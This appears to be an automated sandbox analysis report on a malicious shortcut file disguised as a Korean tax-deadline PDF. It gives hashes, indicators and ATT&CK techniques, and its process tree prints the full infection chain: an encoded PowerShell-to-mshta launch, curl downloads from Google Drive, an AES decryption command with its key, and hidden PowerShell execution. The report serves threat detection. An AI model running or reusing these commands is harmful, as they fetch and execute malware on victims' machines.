568b218e978409b5afe37f768a7b0d5fdde23f27f5ed2f39dde17f238e85e6a9

General

Target
7월 신고 납부기한 통지서.pdf.lnk
Size 2KB
Sample260709-pg9faabt2y
SHA256 568b218e978409b5afe37f768a7b0d5fdde23f27f5ed2f39dde17f238e85e6a9
MD5 77dbb247a11521e16b24b76399f14b6f
SHA1 3aee1ea921bd6dd6a5aa2cf105b21257b8519727
SHA512 765cb63eb94eb29715d95a2e5c6d7f3d089fc24861c70b174ff5dc796404bc9d97850e908bcbd44d558f746eef4bad3682372e55925691f667b70f39d17bc92c
TLSH
T1AE5110161EFA026AF373DB7257FAB6556537F824AB0349AC41C102401D21A14F87AFAF
MD5 SHA1 SHA512 TLSH

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://link24.kr/3NL6KyG

Signatures

Badlisted process makes network request 19 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3680	mshta.exe
6	3680	mshta.exe
19	3680	mshta.exe
21	3680	mshta.exe
31	3680	mshta.exe
32	3680	mshta.exe
34	3680	mshta.exe
36	3680	mshta.exe
38	3680	mshta.exe
56	3680	mshta.exe
57	3680	mshta.exe
61	3680	mshta.exe
67	3680	mshta.exe
82	3680	mshta.exe
86	3680	mshta.exe
102	3680	mshta.exe
104	3680	mshta.exe
105	3680	mshta.exe
117	3680	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
106	drive.google.com
108	drive.google.com
122	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3796	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1100	powershell.exe
1100	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1100	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4164 wrote to memory of 1100	4164	cmd.exe	85
PID 1100 wrote to memory of 3680	1100	powershell.exe	86
PID 3680 wrote to memory of 2788	3680	mshta.exe	113
PID 3680 wrote to memory of 392	3680	mshta.exe	115
PID 2788 wrote to memory of 2864	2788	cmd.exe	117
PID 392 wrote to memory of 3796	392	cmd.exe	118
PID 3680 wrote to memory of 2272	3680	mshta.exe	120
PID 2272 wrote to memory of 4012	2272	cmd.exe	122
PID 3680 wrote to memory of 1848	3680	mshta.exe	125

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\7월 신고 납부기한 통지서.pdf.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIABtAHMAYABoAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAiAGgAdAB0AHAAcwA6AC8ALwBsAGkAbgBrADIANAAuAGsAcgAvADMATgBMADYASwB5AEcAIgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/3NL6KyG
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3680
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o temp.pdf "https://drive.google.com/uc?export=download&id=1YtDdLM3U6q__ZiX7fSidoktBrWbC2OsK" && temp.pdf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2788
    - - C:\Windows\system32\curl.exe
        
        curl -L -o temp.pdf "https://drive.google.com/uc?export=download&id=1YtDdLM3U6q__ZiX7fSidoktBrWbC2OsK"
        5⤵
        
        PID:2864
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Suspicious use of WriteProcessMemory
      PID:392
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:3796
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1xt-YLkmM43b5wj5HgCD6o3tkhdXZymgy" && powershell -Command "[System.IO.File]::WriteAllBytes('pipe.zip', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('pipe.log'), 0, [System.IO.File]::ReadAllBytes('pipe.log').Length))" && del pipe.log && powershell Expand-Archive -Path pipe.zip && del pipe.zip
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2272
    - - C:\Windows\system32\curl.exe
        
        curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1xt-YLkmM43b5wj5HgCD6o3tkhdXZymgy"
        5⤵
        
        PID:4012
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && cd pipe && powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log
      4⤵
      PID:1848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_nc13rwzo.pcr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nc13rwzo.pcr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Analysis

Sharing